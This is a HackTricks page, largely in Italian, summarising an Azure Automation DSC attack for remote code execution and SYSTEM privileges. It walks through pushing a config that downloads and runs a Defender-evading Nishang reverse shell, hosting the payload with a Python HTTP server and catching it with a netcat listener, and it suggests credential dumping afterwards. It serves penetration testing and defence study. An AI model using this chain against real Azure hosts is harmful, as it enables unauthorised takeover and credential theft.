Az - State Configuration RCE

Support HackTricks

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Summary of Remote Server (C2) Infrastructure Preparation and Steps

Overview

Il processo prevede la configurazione di un'infrastruttura di server remoto per ospitare un payload modificato di Nishang Invoke-PowerShellTcp.ps1, chiamato RevPS.ps1, progettato per eludere Windows Defender. Il payload è servito da una macchina Kali Linux con IP 40.84.7.74 utilizzando un semplice server HTTP Python. L'operazione viene eseguita attraverso diversi passaggi:

Step 1 — Create Files

  • Files Required: Sono necessari due script PowerShell:

  1. reverse_shell_config.ps1: Un file di Desired State Configuration (DSC) che recupera ed esegue il payload. È disponibile su GitHub.

  2. push_reverse_shell_config.ps1: Uno script per pubblicare la configurazione sulla VM, disponibile su GitHub.

  • Customization: Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload.

Step 2 — Zip Configuration File

  • Il reverse_shell_config.ps1 viene compresso in un file .zip, rendendolo pronto per il trasferimento all'Azure Storage Account.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Step 3 — Imposta il contesto di archiviazione e carica

  • Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Step 4 — Prep Kali Box

  • Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell.

Step 5 — Pubblica il file di configurazione

  • Il file di configurazione viene eseguito, risultando nel deployment dello script della reverse shell nella posizione specificata sulla VM Windows.

Step 6 — Ospita il payload e imposta il listener

  • Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM.

Conclusione

L'esecuzione riuscita di questo processo apre numerose possibilità per ulteriori azioni, come il dumping delle credenziali o l'espansione dell'attacco a più VM. La guida incoraggia a continuare a imparare e a essere creativi nel campo di Azure Automation DSC.

Support HackTricks

Last updated